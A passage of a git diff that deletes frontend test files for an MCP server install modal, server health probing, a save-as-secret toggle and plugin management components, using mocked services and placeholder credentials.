expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("places Cancel before Install in the footer so the dominant action is the last focusable button", async () => { - // Arrange: render with any marketplace entry so the footer is mounted. - const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!; - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - // Act: locate both footer buttons. - const cancel = screen.getByTestId("mcp-install-cancel"); - const submit = screen.getByTestId("mcp-install-submit"); - - // Assert: Cancel precedes the dominant Install action in DOM order. - expect( - cancel.compareDocumentPosition(submit) & Node.DOCUMENT_POSITION_FOLLOWING, - ).toBeTruthy(); - }); - - it("shows an inline error, does not save, and keeps the modal open when the pre-flight test fails", async () => { - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: false, - error: "ECONNREFUSED", - error_kind: "connection", - }); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - const onClose = vi.fn(); - - const entry: MarketplaceEntry = { - id: "synthetic-test-fail", - name: "Failing Server", - description: "Always fails the connection test.", - docsUrl: "https://example.com/docs", - iconBg: "#000000", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://example.com/mcp", - apiKeyOptional: true, - }, - auth: { strategy: "api_key", apiKeyOptional: true }, - }, - ], - }; - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - // Wait for settings to load so the mutation isn't a no-op. - await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled()); - - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - // Error message must appear. - await waitFor(() => - expect(screen.getByTestId("mcp-install-modal-error")).toBeInTheDocument(), - ); - - // Save must never have been called. - expect(saveSpy).not.toHaveBeenCalled(); - - // Modal must stay open. - expect(onClose).not.toHaveBeenCalled(); - expect(screen.getByTestId("mcp-install-modal")).toBeInTheDocument(); - }); - - it("shows the credential-specific message when the pre-flight test reports invalid credentials", async () => { - // Arrange: installing Slack with credentials its verification call - // rejects (the service maps Slack's invalid_auth to "credentials"). - const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!; - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: false, - error: "invalid_auth", - error_kind: "credentials", - }); - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - // Act: fill the required fields and install. - fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"), { - target: { value: "xoxb-invalid" }, - }); - fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"), { - target: { value: "T-INVALID" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - // Assert: the credentials message is rendered (i18n keys are returned - // as-is in tests), not the generic connection/unknown wording. - await waitFor(() => - expect(screen.getByTestId("mcp-install-modal-error")).toHaveTextContent( - "MCP$TEST_ERROR_CREDENTIALS", - ), - ); - }); - - it("calls save and closes the modal when the pre-flight test succeeds", async () => { - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: true, - tools: ["tool_a"], - }); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - const onClose = vi.fn(); - - const entry: MarketplaceEntry = { - id: "synthetic-test-pass", - name: "Passing Server", - description: "Always passes the connection test.", - docsUrl: "https://example.com/docs", - iconBg: "#000000", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://example.com/mcp", - apiKeyOptional: true, - }, - auth: { strategy: "api_key", apiKeyOptional: true }, - }, - ], - }; - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled()); - - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - expect(onClose).toHaveBeenCalledTimes(1); - expect( - screen.queryByTestId("mcp-install-modal-error"), - ).not.toBeInTheDocument(); - }); - - it("shows Verifying… on the install button while the pre-flight test is in flight", async () => { - // Never resolve so the test stays pending long enough to observe the label. - vi.spyOn(McpService, "testServer").mockImplementation( - () => new Promise(() => {}), - ); - - const entry: MarketplaceEntry = { - id: "synthetic-pending", - name: "Pending Server", - description: "Connection test never resolves.", - docsUrl: "https://example.com/docs", - iconBg: "#000000", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://example.com/mcp", - apiKeyOptional: true, - }, - auth: { strategy: "api_key", apiKeyOptional: true }, - }, - ], - }; - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled()); - - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - // In tests i18n keys are returned as-is, so the button shows the key name. - await waitFor(() => - expect(screen.getByTestId("mcp-install-submit")).toHaveTextContent( - "MCP$VERIFYING", - ), - ); - }); - - // --------------------------------------------------------------------------- - // Save-as-secret toggle behaviour - // --------------------------------------------------------------------------- - - // Synthetic stdio entry with one password-type envField, one text-type - // envField, and one argField. This gives us complete control over field - // types without depending on the live integration catalog. - const STDIO_ENTRY = { - id: "synthetic-stdio", - name: "Synthetic Stdio Server", - description: "Stdio server used to test the save-as-secret feature.", - iconBg: "#000000", - connectionOptions: [ - { - id: "stdio", - provider: "mcp", - transport: { - kind: "stdio", - serverName: "test-server", - command: "npx", - args: ["-y", "test-mcp"], - envFields: [ - { - key: "API_KEY", - label: "API Key", - type: "password", - required: true, - placeholder: "Enter API key", - }, - { - key: "USERNAME", - label: "Username", - type: "text", - required: false, - placeholder: "Enter username", - }, - ], - argFields: [ - { - key: "EXTRA_ARG", - label: "Extra Arg", - type: "text", - required: false, - placeholder: "optional", - }, - ], - }, - auth: { strategy: "api_key", apiKeyOptional: true }, - }, - ], - } as unknown as MarketplaceEntry; - - const SHTTP_ENTRY = { - id: "synthetic-shttp-secret", - name: "Synthetic Hosted Server", - description: "Hosted server used to test credential secret saving.", - iconBg: "#000000", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://example.com/mcp", - }, - auth: { - strategy: "api_key", - credentialLabel: "Personal access token", - credentialPlaceholder: "pat_...", - credentialHelp: "Token from the provider settings.", - credentialSecretName: "PROVIDER_PERSONAL_ACCESS_TOKEN", - saveCredentialAsSecretByDefault: true, - }, - }, - ], - } as unknown as MarketplaceEntry; - - describe("InstallServerModal — save as secret", () => { - beforeEach(() => { - vi.spyOn(SecretsService, "createSecret").mockResolvedValue(); - }); - - it("pre-checks the toggle for password-type envFields", async () => { - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - const toggle = screen.getByTestId("mcp-install-save-secret-API_KEY"); - expect(toggle.querySelector("input[type='checkbox']")).toBeChecked(); - }); - - it("leaves non-password envFields unchecked by default", async () => { - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - const toggle = screen.getByTestId("mcp-install-save-secret-USERNAME"); - expect(toggle.querySelector("input[type='checkbox']")).not.toBeChecked(); - }); - - it("does not render a toggle for argFields", async () => { - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - expect( - screen.queryByTestId("mcp-install-save-secret-EXTRA_ARG"), - ).not.toBeInTheDocument(); - }); - - it("toggling the checkbox updates its checked state", async () => { - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - // USERNAME starts unchecked; clicking it should flip to checked. - const toggle = screen.getByTestId("mcp-install-save-secret-USERNAME"); - const checkbox = toggle.querySelector( - "input[type='checkbox']", - ) as HTMLInputElement; - expect(checkbox).not.toBeChecked(); - - fireEvent.click(checkbox); - - expect(checkbox).toBeChecked(); - }); - - it("setValue preserves savedAsSecret state when a field value changes", async () => { - // Before the ...prev bug-fix in setValue, calling onChange on any field - // would reset savedAsSecret to {}, unchecking all toggles silently. - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - // API_KEY starts pre-checked. Typing a new value should leave it checked. - fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), { - target: { value: "new-value" }, - }); - - const toggle = screen.getByTestId("mcp-install-save-secret-API_KEY"); - expect(toggle.querySelector("input[type='checkbox']")).toBeChecked(); - }); - - it("calls createSecret for checked envFields after a successful install", async () => { - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - const onClose = vi.fn(); - renderWith(); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => - expect(SettingsService.getSettings).toHaveBeenCalled(), - ); - - // Fill in the required password field (API_KEY is pre-checked as secret). - fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), { - target: { value: "my-api-key" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1)); - await waitFor(() => - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "API_KEY", - "my-api-key", - "API Key", - ), - ); - // USERNAME was unchecked, so no secret call for it. - expect(SecretsService.createSecret).not.toHaveBeenCalledWith( - "USERNAME", - expect.anything(), - expect.anything(), - ); - }); - - it("saves hosted MCP credentials as named secrets when configured", async () => { - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - const onClose = vi.fn(); - renderWith(); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => - expect(SettingsService.getSettings).toHaveBeenCalled(), - ); - - expect(screen.getByTestId("mcp-install-field-url")).toHaveValue( - "https://example.com/mcp", - ); - expect(screen.getByLabelText("Personal access token")).toHaveAttribute( - "placeholder", - "pat_...", - ); - expect( - screen.getByText("Token from the provider settings."), - ).toBeInTheDocument(); - - const toggle = screen.getByTestId( - "mcp-install-save-secret-PROVIDER_PERSONAL_ACCESS_TOKEN", - ); - expect(toggle.querySelector("input[type='checkbox']")).toBeChecked(); - - fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), { - target: { value: "hosted-token" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1)); - await waitFor(() => - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "PROVIDER_PERSONAL_ACCESS_TOKEN", - "hosted-token", - "Personal access token", - ), - ); - }); - - it("waits for hosted credential secrets before reporting install success", async () => { - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - let resolveSecret!: () => void; - const secretSaved = new Promise((resolve) => { - resolveSecret = resolve; - }); - vi.spyOn(SecretsService, "createSecret").mockReturnValue(secretSaved); - const onClose = vi.fn(); - const onSuccess = vi.fn(); - - renderWith( - , - ); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => - expect(SettingsService.getSettings).toHaveBeenCalled(), - ); - - fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), { - target: { value: "hosted-token" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "PROVIDER_PERSONAL_ACCESS_TOKEN", - "hosted-token", - "Personal access token", - ), - ); - expect(onSuccess).not.toHaveBeenCalled(); - expect(onClose).not.toHaveBeenCalled(); - - resolveSecret(); - - await waitFor(() => expect(onSuccess).toHaveBeenCalledTimes(1)); - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("does not call createSecret when all toggles are unchecked before install", async () => { - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - const onClose = vi.fn(); - renderWith(); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => - expect(SettingsService.getSettings).toHaveBeenCalled(), - ); - - fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), { - target: { value: "my-api-key" }, - }); - - // Uncheck the pre-checked API_KEY toggle before submitting. - const toggle = screen.getByTestId("mcp-install-save-secret-API_KEY"); - fireEvent.click(toggle.querySelector("input[type='checkbox']")!); - - fireEvent.click(screen.getByTestId("mcp-install-submit")); - await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1)); - - // Flush the fire-and-forget microtask chain. - await Promise.resolve(); - await Promise.resolve(); - expect(SecretsService.createSecret).not.toHaveBeenCalled(); - }); - - it("closes the modal even when the secret save fails", async () => { - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - vi.spyOn(SecretsService, "createSecret").mockRejectedValue( - new Error("forbidden"), - ); - const onClose = vi.fn(); - renderWith(); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => - expect(SettingsService.getSettings).toHaveBeenCalled(), - ); - - fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), { - target: { value: "my-api-key" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - // The modal must close regardless of the secret-save outcome. - await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1)); - // Secret save errors use toasts, not the modal inline error element. - expect( - screen.queryByTestId("mcp-install-modal-error"), - ).not.toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/features/mcp-page/mcp-logo-stack-badge.test.tsx b/__tests__/components/features/mcp-page/mcp-logo-stack-badge.test.tsx deleted file mode 100644 index e906722e3..000000000 --- a/__tests__/components/features/mcp-page/mcp-logo-stack-badge.test.tsx +++ /dev/null @@ -1,54 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; -import { INTEGRATION_CATALOG } from "@openhands/extensions/integrations"; -import { McpLogoStackBadge } from "#/components/features/mcp-page/mcp-logo-stack-badge"; - -function entry(id: string) { - const match = INTEGRATION_CATALOG.find((item) => item.id === id); - if (!match) { - throw new Error(`Missing MCP catalog entry: ${id}`); - } - return match; -} - -describe("McpLogoStackBadge", () => { - it("renders a full-size badge for a single MCP", () => { - render( - , - ); - - const icon = screen.getByTestId("automation-icon"); - expect(icon).toHaveClass("h-10", "w-10"); - expect(icon).not.toHaveAttribute("data-layout"); - }); - - it("overlaps two MCP logos on a shared grey square", () => { - render( - , - ); - - const icon = screen.getByTestId("automation-icon"); - expect(icon).toHaveAttribute("data-layout", "overlap"); - expect(icon).toHaveClass("bg-surface-raised"); - }); - - it("lays out three or four MCP logos in quadrants", () => { - render( - , - ); - - expect(screen.getByTestId("automation-icon")).toHaveAttribute( - "data-layout", - "quadrants", - ); - }); -}); diff --git a/__tests__/components/features/mcp-page/mcp-server-health.test.tsx b/__tests__/components/features/mcp-page/mcp-server-health.test.tsx deleted file mode 100644 index 4373dab31..000000000 --- a/__tests__/components/features/mcp-page/mcp-server-health.test.tsx +++ /dev/null @@ -1,204 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, fireEvent, waitFor } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { __resetMcpHealthStoreForTests } from "#/api/mcp-health/mcp-health-store"; -import McpService from "#/api/mcp-service/mcp-service.api"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { InstalledServerCard } from "#/components/features/mcp-page/installed-server-card"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import type { ExtendedMCPTestResponse, MCPServerConfig } from "#/types/mcp-server"; - -const CUSTOM_SERVER: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "custom", - url: "https://mcp.example.com/mcp", -}; - -/** Matches the catalog `github` entry (probe spec + docsUrl). */ -const GITHUB_SERVER: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "github", - url: "https://api.githubcopilot.com/mcp/", - auth: { strategy: "api_key", value: "github_pat_x" }, -}; - -const OAUTH_SERVER: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "my-oauth", - url: "https://mcp.oauth.example/mcp", - auth: { strategy: "oauth2" }, -}; - -function renderCard( - server: MCPServerConfig, - { onEdit = vi.fn(), onDelete = vi.fn() } = {}, -) { - render( - , - { - wrapper: ({ children }) => ( - - {children} - - ), - }, - ); - return { onEdit, onDelete }; -} - -const healthDot = () => screen.getByTestId("mcp-health-dot"); -const probeButton = (id: string) => - screen.getByTestId(`mcp-health-probe-${id}`); - -describe("InstalledServerCard connection health", () => { - beforeEach(() => { - vi.restoreAllMocks(); - __resetMcpHealthStoreForTests(); - // The backend registry persists to localStorage; wipe it before the - // reset re-reads storage so each test starts on the default local backend. - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - MOCK_DEFAULT_USER_SETTINGS, - ); - }); - - it("probes on demand: unchecked → checking → healthy with connectivity-only labeling", async () => { - let resolveProbe!: (value: ExtendedMCPTestResponse) => void; - vi.spyOn(McpService, "testServer").mockReturnValue( - new Promise((resolve) => { - resolveProbe = resolve; - }), - ); - renderCard(CUSTOM_SERVER); - expect(healthDot()).toHaveAttribute("data-status", "unchecked"); - - fireEvent.click(probeButton(CUSTOM_SERVER.id)); - expect(healthDot()).toHaveAttribute("data-status", "checking"); - - resolveProbe({ ok: true, tools: ["a", "b"] }); - await waitFor(() => - expect(healthDot()).toHaveAttribute("data-status", "healthy-connectivity"), - ); - // The explicit "proves connectivity only" hint must accompany the result. - expect( - screen.getByText("MCP$HEALTH_CONNECTIVITY_ONLY_HINT"), - ).toBeInTheDocument(); - }); - - it("offers Retry, Update credentials, and docs on a credentials failure, routing the fix to the editor only", async () => { - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: false, - error: "invalid_auth", - error_kind: "credentials", - }); - const { onEdit } = renderCard(GITHUB_SERVER); - - fireEvent.click(probeButton(GITHUB_SERVER.id)); - await waitFor(() => - expect(healthDot()).toHaveAttribute("data-status", "failed"), - ); - - // Probing must not have bubbled into the card's edit action. - expect(onEdit).not.toHaveBeenCalled(); - expect(probeButton(GITHUB_SERVER.id)).toHaveTextContent("MCP$HEALTH_RETRY"); - expect( - screen.getByRole("link", { name: "MCP$VIEW_DOCS" }), - ).toHaveAttribute("href", "https://github.com/github/github-mcp-server"); - - fireEvent.click( - screen.getByTestId(`mcp-health-update-credentials-${GITHUB_SERVER.id}`), - ); - expect(onEdit).toHaveBeenCalledTimes(1); - }); - - it("Retry re-probes and moves the card to healthy in place", async () => { - vi.spyOn(McpService, "testServer") - .mockResolvedValueOnce({ - ok: false, - error: "refused", - error_kind: "connection", - }) - .mockResolvedValueOnce({ ok: true, tools: ["a"] }); - renderCard(CUSTOM_SERVER); - - fireEvent.click(probeButton(CUSTOM_SERVER.id)); - await waitFor(() => - expect(healthDot()).toHaveAttribute("data-status", "failed"), - ); - - fireEvent.click(probeButton(CUSTOM_SERVER.id)); - await waitFor(() => - expect(healthDot()).toHaveAttribute("data-status", "healthy-connectivity"), - ); - }); - - it("renders no health section on cloud backends", () => { - setRegisteredBackends([ - { - id: "cloud-1", - name: "Cloud", - host: "https://app.all-hands.dev", - apiKey: "k", - kind: "cloud", - }, - ]); - setActiveSelection({ backendId: "cloud-1" }); - - renderCard(CUSTOM_SERVER); - - expect( - screen.queryByTestId(`mcp-server-health-${CUSTOM_SERVER.id}`), - ).not.toBeInTheDocument(); - }); - - it("re-authorizes a failed OAuth server and persists the refreshed state", async () => { - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: false, - error: "token expired", - error_kind: "unknown", - }); - vi.spyOn(McpService, "authorizeOAuth").mockResolvedValue({ - ok: true, - tools: [], - oauth_state: { tokens: { access_token: "fresh-access-token" } }, - }); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - renderCard(OAUTH_SERVER); - - fireEvent.click(probeButton(OAUTH_SERVER.id)); - await waitFor(() => - expect(healthDot()).toHaveAttribute("data-status", "failed"), - ); - - fireEvent.click( - screen.getByTestId(`mcp-health-reauthorize-${OAUTH_SERVER.id}`), - ); - - await waitFor(() => - expect(healthDot()).toHaveAttribute("data-status", "healthy-connectivity"), - ); - expect(McpService.authorizeOAuth).toHaveBeenCalledTimes(1); - // The refreshed oauth_state is persisted, not dropped on the floor. - expect(saveSpy).toHaveBeenCalledTimes(1); - expect(JSON.stringify(saveSpy.mock.calls[0][0])).toContain( - "fresh-access-token", - ); - }); -}); diff --git a/__tests__/components/features/mcp-page/save-as-secret-toggle.test.tsx b/__tests__/components/features/mcp-page/save-as-secret-toggle.test.tsx deleted file mode 100644 index 4ff4578c8..000000000 --- a/__tests__/components/features/mcp-page/save-as-secret-toggle.test.tsx +++ /dev/null @@ -1,113 +0,0 @@ -import type { ReactNode } from "react"; -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { SaveAsSecretToggle } from "#/components/features/mcp-page/save-as-secret-toggle"; - -// HeroUI's Tooltip (used inside StyledTooltip) only mounts its content on a -// real hover event, which jsdom doesn't fire. Stub it so the content renders -// eagerly and is queryable in tests. -vi.mock("#/components/shared/buttons/styled-tooltip", () => ({ - StyledTooltip: ({ - content, - children, - }: { - content: ReactNode; - children: ReactNode; - }) => ( - <> - {children} - {content} - - ), -})); - -describe("SaveAsSecretToggle", () => { - // ── rendering ────────────────────────────────────────────────────────────── - - it("attaches data-testid to the label using fieldKey", () => { - render( - , - ); - expect( - screen.getByTestId("mcp-install-save-secret-MY_KEY"), - ).toBeInTheDocument(); - }); - - it("renders the field key inside a element", () => { - render( - , - ); - const codeEl = screen.getByText("MY_KEY"); - expect(codeEl.tagName.toLowerCase()).toBe("code"); - }); - - it("renders the checkbox unchecked when checked=false", () => { - render( - , - ); - expect(screen.getByRole("checkbox")).not.toBeChecked(); - }); - - it("renders the checkbox checked when checked=true", () => { - render( - , - ); - expect(screen.getByRole("checkbox")).toBeChecked(); - }); - - // ── accessibility ────────────────────────────────────────────────────────── - - it("the info button has an aria-label describing its purpose", () => { - render( - , - ); - // t(key) => key in tests, so aria-label equals the raw i18n key. - const infoBtn = screen.getByRole("button"); - expect(infoBtn).toHaveAttribute( - "aria-label", - "MCP$SAVE_AS_SECRET_TOOLTIP", - ); - }); - - it("the visual track is hidden from the accessibility tree (aria-hidden)", () => { - const { container } = render( - , - ); - // The decorative that forms the visual slider track. - const track = container.querySelector("span[aria-hidden='true']"); - expect(track).toBeInTheDocument(); - }); - - // ── interaction ──────────────────────────────────────────────────────────── - - it("calls onToggle(true) when the unchecked checkbox is clicked", () => { - const onToggle = vi.fn(); - render( - , - ); - fireEvent.click(screen.getByRole("checkbox")); - expect(onToggle).toHaveBeenCalledWith(true); - }); - - it("calls onToggle(false) when the checked checkbox is clicked", () => { - const onToggle = vi.fn(); - render( - , - ); - fireEvent.click(screen.getByRole("checkbox")); - expect(onToggle).toHaveBeenCalledWith(false); - }); - - // ── tooltip ──────────────────────────────────────────────────────────────── - - it("passes tooltip text to StyledTooltip as its content prop", () => { - render( - , - ); - // The mock renders StyledTooltip's content prop into a . - // t(key) => key, so the rendered text is the raw i18n key. - expect(screen.getByTestId("styled-tooltip-content")).toHaveTextContent( - "MCP$SAVE_AS_SECRET_TOOLTIP", - ); - }); -}); diff --git a/__tests__/components/features/plugins/add-plugin-modal.test.tsx b/__tests__/components/features/plugins/add-plugin-modal.test.tsx deleted file mode 100644 index 60cd09689..000000000 --- a/__tests__/components/features/plugins/add-plugin-modal.test.tsx +++ /dev/null @@ -1,65 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { AddPluginModal } from "#/components/features/plugins/add-plugin-modal"; -import PluginsManagementService from "#/api/plugins-management-service"; - -function renderAddPluginModal(onClose = vi.fn()) { - render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); - return { onClose }; -} - -describe("AddPluginModal", () => { - beforeEach(() => { - vi.restoreAllMocks(); - }); - - it("installs the plugin with the entered source on submit", async () => { - const user = userEvent.setup(); - const installSpy = vi - .spyOn(PluginsManagementService, "installPlugin") - .mockResolvedValue({ - name: "weather", - version: "1.0.0", - description: "", - enabled: true, - source: "github:acme/weather", - resolved_ref: null, - repo_path: null, - installed_at: "2026-06-01T00:00:00Z", - install_path: "/home/.openhands/plugins/installed/weather", - }); - - renderAddPluginModal(); - await user.type( - screen.getByTestId("add-plugin-source-input"), - "github:acme/weather", - ); - await user.click(screen.getByTestId("add-plugin-submit")); - - await waitFor(() => - expect(installSpy).toHaveBeenCalledWith({ - source: "github:acme/weather", - ref: null, - repo_path: null, - }), - ); - }); - - it("disables the submit button while the source field is empty", () => { - renderAddPluginModal(); - - expect(screen.getByTestId("add-plugin-submit")).toBeDisabled(); - }); -}); diff --git a/__tests__/components/features/plugins/build-plugins-view-model.test.ts b/__tests__/components/features/plugins/build-plugins-view-model.test.ts deleted file mode 100644 index 898d59786..000000000 --- a/__tests__/components/features/plugins/build-plugins-view-model.test.ts +++ /dev/null @@ -1,174 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - buildPluginsViewModel, - matchesPluginStatus, -} from "#/components/features/plugins/build-plugins-view-model"; -import type { MarketplacePlugin, LocalPlugin } from "#/api/plugins-service"; -import type { InstalledPluginInfo } from "#/api/plugins-management-service"; - -const catalogPlugin: MarketplacePlugin = { - name: "demo-plugin", - description: "Catalog description", - source: "github:OpenHands/extensions", - ref: null, - repo_path: "plugins/demo-plugin", - installed: false, -}; - -const installedPlugin: InstalledPluginInfo = { - name: "demo-plugin", - version: "2.0.0", - description: "Installed description", - enabled: false, - source: "github:OpenHands/extensions", - resolved_ref: "main", - repo_path: "plugins/demo-plugin", - installed_at: "2026-06-01T00:00:00Z", - install_path: "/home/.openhands/plugins/installed/demo-plugin", -}; - -const localPlugin: LocalPlugin = { - name: "ambient-plugin", - version: "1.0.0", - description: "Ambient description", -}; - -describe("buildPluginsViewModel", () => { - it("merges a plugin present in both the catalog and the installed list into one installed entry", () => { - const result = buildPluginsViewModel([catalogPlugin], [installedPlugin]); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ - name: "demo-plugin", - installed: true, - inCatalog: true, - enabled: false, - version: "2.0.0", - }); - }); - - it("marks a catalog-only plugin as not installed", () => { - const result = buildPluginsViewModel([catalogPlugin], []); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ - name: "demo-plugin", - installed: false, - inCatalog: true, - }); - }); - - it("keeps an installed plugin that is absent from the catalog", () => { - const result = buildPluginsViewModel([], [installedPlugin]); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ - name: "demo-plugin", - installed: true, - inCatalog: false, - enabled: false, - }); - }); - - it("adds a locally-discovered plugin as a read-only local entry", () => { - const result = buildPluginsViewModel([], [], [localPlugin]); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ - name: "ambient-plugin", - isLocal: true, - installed: false, - inCatalog: false, - version: "1.0.0", - }); - }); - - it("does not add a separate local entry when the plugin is already installed", () => { - const result = buildPluginsViewModel( - [], - [installedPlugin], - [{ ...localPlugin, name: installedPlugin.name }], - ); - - expect(result).toHaveLength(1); - expect(result[0]).toMatchObject({ - name: "demo-plugin", - installed: true, - isLocal: false, - }); - }); - - it("classifies a local plugin under the local filter and not the available filter", () => { - const [local] = buildPluginsViewModel([], [], [localPlugin]); - - expect(matchesPluginStatus(local, "local")).toBe(true); - expect(matchesPluginStatus(local, "available")).toBe(false); - }); - - it("prefers the installed copy's contents over the catalog's", () => { - const result = buildPluginsViewModel( - [ - { - ...catalogPlugin, - path: "/cache/plugins/demo-plugin", - skills: [{ name: "catalog-skill" }], - files: ["catalog.md"], - }, - ], - [ - { - ...installedPlugin, - skills: [{ name: "installed-skill" }], - files: ["installed.md"], - }, - ], - ); - - expect(result[0]).toMatchObject({ - path: installedPlugin.install_path, - skills: [{ name: "installed-skill" }], - files: ["installed.md"], - }); - }); - - it("falls back to the catalog's contents when the installed entry has none", () => { - const result = buildPluginsViewModel( - [ - { - ...catalogPlugin, - path: "/cache/plugins/demo-plugin", - skills: [{ name: "catalog-skill" }], - files: ["catalog.md"], - }, - ], - [installedPlugin], - ); - - expect(result[0]).toMatchObject({ - path: "/cache/plugins/demo-plugin", - skills: [{ name: "catalog-skill" }], - files: ["catalog.md"], - }); - }); - - it("carries a local plugin's contents into its entry", () => { - const result = buildPluginsViewModel( - [], - [], - [ - { - ...localPlugin, - path: "/home/.agents/plugins/ambient-plugin", - skills: [{ name: "ambient-skill" }], - files: ["SKILL.md"], - }, - ], - ); - - expect(result[0]).toMatchObject({ - path: "/home/.agents/plugins/ambient-plugin", - skills: [{ name: "ambient-skill" }], - files: ["SKILL.md"], - }); - }); -}); diff --git a/__tests__/components/features/plugins/plugin-files-section.test.tsx b/__tests__/components/features/plugins/plugin-files-section.test.tsx deleted file mode 100644 index 31a0844fb..000000000 --- a/__tests__/components/features/plugins/plugin-files-section.test.tsx +++ /dev/null @@ -1,85 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { PluginFilesSection } from "#/components/features/plugins/plugin-files-section"; -import PluginsService from "#/api/plugins-service"; - -function renderFilesSection(files: string[] = ["README.md"]) { - return render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -} - -describe("PluginFilesSection", () => { - beforeEach(() => { - vi.restoreAllMocks(); - }); - - it("fetches and shows a file's content when the file is clicked", async () => { - const user = userEvent.setup(); - const contentSpy = vi - .spyOn(PluginsService, "getPluginFileContent") - .mockResolvedValue({ kind: "text", text: "# Demo readme" }); - - renderFilesSection(); - await user.click(screen.getByTestId("file-tree-file-README.md")); - - await waitFor(() => - expect(screen.getByTestId("plugin-file-content")).toHaveTextContent( - "Demo readme", - ), - ); - expect(contentSpy).toHaveBeenCalledWith("/plugins/demo", "README.md"); - }); - - it("closes the content viewer when the selected file is clicked again", async () => { - const user = userEvent.setup(); - vi.spyOn(PluginsService, "getPluginFileContent").mockResolvedValue({ - kind: "text", - 